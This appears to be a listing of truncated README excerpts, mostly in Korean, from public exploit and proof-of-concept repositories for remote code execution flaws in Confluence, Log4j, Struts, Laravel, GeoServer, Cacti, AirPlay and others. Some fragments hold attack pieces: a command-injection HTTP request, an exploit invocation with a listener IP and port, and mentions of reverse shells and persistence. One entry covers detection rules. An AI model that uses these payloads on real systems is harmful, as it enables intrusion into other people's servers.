CVE-2022-26134

CVE-2022-26134 - OGNL 주입 취약점. Atlassian Confluence 7.18 및 이하 제품에 영향을 미치는 원격 코드 실행 취약점을 악용하는 개념 증명 스크립트입니다. OGNL 주입 취약점을 통해 인증되지 않은 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의 코드를 실행할 수 있습니다. 영향을 받는 버전 지원되는 모든 Confluence Server 및 Data Center 버전이 영향을 받습니다. 1.3.0 이후 및 7.18.1 이하의 Confluence Serve...

CVE-2024-23692

CVE-2024-23692 Burp PoC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - 인증되지 않은 원격 코드 실행 https://vulners.com/cve/CVE-2022-24637 예제 python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

struts-rce

:source-highlighter: pygments = Apache Struts CVE-2017-5638 익스플로잇 이 간단한 웹 애플리케이션은 취약한 Apache Struts 2.5.10 CVE-2017-5638으로 구축되었습니다. RCE에 취약합니다. == 웹 애플리케이션 시작 취약한 웹 애플리케이션을 시작하려면 다음을 실행하세요: mvn jetty:run 애플리케이션은 기본적으로 포트 8012에서 접근 가능합니다. 변경할 수 있습니다: mvn -Djetty.http.port= jetty:run == 웹 애플리케이션 접속...

CVE-2021-44228

개요 이 저장소는 Apache Log4j 2 원격 코드 실행 취약점CVE-2021-44228과 관련된 침해 지표를 탐지하기 위한 OpenIOC 규칙을 포함하고 있습니다. 이 규칙들은 헌팅 규칙으로 간주되며, 탐지 효율은 조직마다 다를 수 있습니다. 환경에 맞게 조정하면 경고 규칙으로 배포하기에 적합할 수 있습니다. 규칙은 두 가지 범주로 구성됩니다: 실행 - 이 CVE와 관련되어 시스템에서 이전에 실행된 것을 증명하는 IOC, 예: 의심스러운 네트워크 연결, URL 요청, 프로세스 실행, 파일 쓰기 존재 - 이 CVE와 관련하...

AirBorne-PoC

AirBorne PoC 프레임워크 – Elite RCE 에디션 CVE-2025-24252 및 CVE-2025-24132용 전체 PoC 프레임워크 제작: ekomsSavior | AirBorne은 Apple의 AirPlay 서비스에서 발견된 두 가지 심각한 취약점을 대상으로 하는 통합 PoCproof-of-concept 프레임워크입니다. 완전한 크래시 트리거와 역방향 셸reverse shell 익스플로잇을 포함하며, 선택적 지속성persistence, 리스너listener, 여러 페이로드 형식을 하나의 스크립트로 제공합니다. 원...

CVE-2021-3129

원격 코드 실행: Laravel CVE-2021-3129 📜 설명 이 스크립트는 CVE-2021-3129로 알려진 여러 Laravel 버전에서 확인된 원격 코드 실행RCE 취약점을 악용하도록 설계되었습니다. 이 취약점을 악용하면, ".env" 파일에서 "APPDEBUG" 구성이 "true"로 설정된 취약한 Laravel 인스턴스를 실행 중인 대상 웹사이트에서 명령어를 작성하고 실행할 수 있습니다. GitHub 별을 남겨주신 모든 분들께 감사드립니다! ❤️ 보내주신 응원에 정말 감사드립니다! 🚀 📚 목차 📜 설명 🛠️ 설치 ⚙️...

CVE-2018-11776

CVE-2018-11776 2018년 8월 23일, Apache Struts2가 최신 보안 공지를 발표했습니다. Apache Struts2에 원격 코드 실행 취약점이 존재하며, 이 취약점은 Semmle Security Research team의 보안 연구원이 보고했고, 취약점 번호는 CVE-2018-11776S2-057입니다. Struts2의 XML 구성에서 namespace 값이 설정되지 않고 Action Configuration에서 설정되지 않았거나 와일드카드 namespace를 사용하는 경우 원격 코드 실행이 발생할 수...

CVE-2024-24401

취약점 보고서 CVE 발견자: Jarod Jaslow MAWK KALI LINUX에서 실행하도록 설계됨 참고 사항 Nagios는 최근 모든 다운로드에서 버전 2024R1.0.1을 패치했습니다. 대상이 취약한지 확인하려면 해당 대상이 이전 버전의 2024R1.0.1을 사용하고 있는지 확인하세요. 업데이트된 스크립트는 대상 시스템이 취약한지 확인합니다. OVA NAGIOS 사용자 자격 증명: mawk:mawk 다운로드: https://1drv.ms/u/s!Aj-SNbxrSxWZh51fp476lHxNHGd6jA?e=AX3mJU 취약...

fastjson-jsontype-rce-lab

Fastjson @JSONType 원격 JAR/FD 체인 연구소 및 탐지 이 저장소는 이제 두 개의 별도 Fastjson 연구 트랙을 제공합니다: modern-fd/는 권장되는 마커 전용 재구성으로, Spring Boot 3, 일반 임베디드 Tomcat 및 JDK 17에서 Fastjson 1.2.83 단일 본문 원격 JAR/파일 디스크립터 체인을 재현합니다. AutoType을 비활성화한 상태에서 리터럴 고정 DTO 싱크인 JSON.parseObjectbody, BoundEnvelope.class를 사용합니다. 원래 최상위...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow 는 기업 운영을 위한 디지털 워크플로우를 관리하는 데 도움을 주는 비즈니스 혁신 플랫폼입니다. CVE-2024-4879 는 인증되지 않은 사용자가 Now Platform 내에서 원격으로 코드를 실행할 수 있게 할 수 있습니다. 이 취약점은 Title Injection, Template Injection Mitigation Bypass, Filesystem Filter Bypass의 세 가지 문제를 연쇄적으로 악용하여 ServiceNow 데이터에 접근합니다. 영향을...

CVE-2024-36401-PoC

CVE-2024-36401-PoC CVE-2024-36401 GeoServer에 대한 개념 증명 익스플로잇 취약한 GeoServer 버전: 2.23.6 미만 | 2.24.4 미만 | 2.25.2 미만 !!! 보안 테스트 목적으로만 사용하세요 !!! 소유하지 않은 시스템이나 명시적 허가 없이 이 도구를 사용하지 마십시오!!! 실행 방법... 1. Metasploit에서 리스너 시작 msf6 use exploit/multi/handler msf6 exploitmulti/handler set payload...

CVE-2022-34718-PoC

CVE-2022-34718 IPv6 원격 코드 실행 익스플로잇 샘플 이 저장소는 Windows 시스템의 IPv6에서 원격 코드 실행RCE 취약점인 CVE-2022-34718에 대한 익스플로잇을 포함합니다. 사용 방법 취약점은 특수하게 조작된 IPv6 패킷을 필요로 하므로 Scapy 모듈에 의존하며, 따라서 루트 권한으로 실행해야 합니다. 이 PoC를 실행하는 권장 방법은 가상 환경을 사용하는 것입니다. 예를 들어: virtualenv PoC source PoC/bin/activate PoC pip3 install -r...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC: 인증 우회 및 원격 코드 실행 이 저장소는 CVE-2022-46169 취약점에 대한 PoC를 포함하고 있으며, 공격자가 인증을 우회하고 영향을 받는 시스템에서 원격으로 임의 코드를 실행할 수 있게 합니다. 이 취약점은 2022년 8월 18일에 출시된 Cacti 버전 1.2.22에 영향을 미칩니다. 이 취약점은 remoteagent.php에 IP 주소를 검색하고 poller 테이블 내 항목을 확인하는 함수가 있기 때문에 발생합니다. 항목이 발견되면 함수는 true를 반환하고 클라이언트는...

CVE-2024-37054-PoC

MLflow 安全でないデシリアライゼーション CVE-2024-37054 概要 このリポジトリは、MLflow PyFunc モデル処理に影響を与える安全でないデシリアライゼーションの問題である CVE-2024-37054 に関する調査を文書化したものです。 影響を受ける MLflow のバージョンでは、信頼できない PyFunc モデルを読み込むと、Python...

CVE-2020-0796

CVE-2020-0796 SMBv3의 RCE 취약점 윈도우 10은 취약합니다 윈도우 2008 취약하지 않음 탐지 스크립트...

CVE-2021-44228

Log4Shell POC CVE-2021-44228 이 저장소의 목적은 CVE-2021-44228 별명 Log4Shell을 익스플로잇하는 데 필요한 모든 구성 요소를 제공하고, 이를 악용하는 방법을 보여주는 것입니다. 이 취약점을 악용하는 데 필요한 요소는 다음과 같습니다: 1. 취약한 애플리케이션을 익스플로잇으로 리다이렉트할 LDAP 서버 2. 취약한 Log4J 버전을 사용하는 취약한 애플리케이션 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션 3. 취약한 애플리케이션에 의해 로드될 Java...

CVE-2021-3129

CVE-2021-3129 CVE-2021-3129 Laravel PoC 교육 목적으로만 사용하세요 테스트 PoC 환경 설정 $ docker-compose build $ docker-compose up -d 작동 확인 http://localhost:8000/에 접속하여 Laravel 기본 페이지가 표시되는지 확인하세요. 익스플로잇 $ docker-compose exec attacker sh / python3 exploit.py 참고 자료 https://www.ambionics.io/blog/laravel-debug-rce...

CVE-2025-32432

CraftCMS CVE-2025-32432 취약점 익스플로잇 도구 세트 SensePost 연구 기반 CraftCMS 원격 코드 실행 취약점 익스플로잇 도구. 📁 파일 설명 🎯 주요 도구 1. finalpoc.py - 최종 최적화된 POC 정보 유출 및 원격 코드 실행 지원 자동 asset ID 발견 다양한 세션 주입 방법 상세한 디버그 모드 2. test.py - 원본 SensePost 기반 단순화 버전 자동 asset ID 획득 기능 포함 yii\rbac\PhpManager 메서드 사용 3...

Apache-Struts-v4

Apache-Struts-v4 이 스크립트는 Apache Struts에서 RCE 유형의 취약점을 악용하는 5가지 서로 다른 취약점을 포함합니다. 현재로서는 PHP 셸을 생성하는 기능만 포함되어 있습니다. CVE 추가 CVE ID| 설명 ---|--- CVE-2013-2251| Apache Struts 2.0.0부터 2.3.15까지는 원격 공격자가 조작된 1 action:, 2 redirect:, 3 redirectAction: 접두사가 있는 매개변수를 통해 임의의 OGNL 표현식을 실행할 수 있습니다. CVE-2017-5638...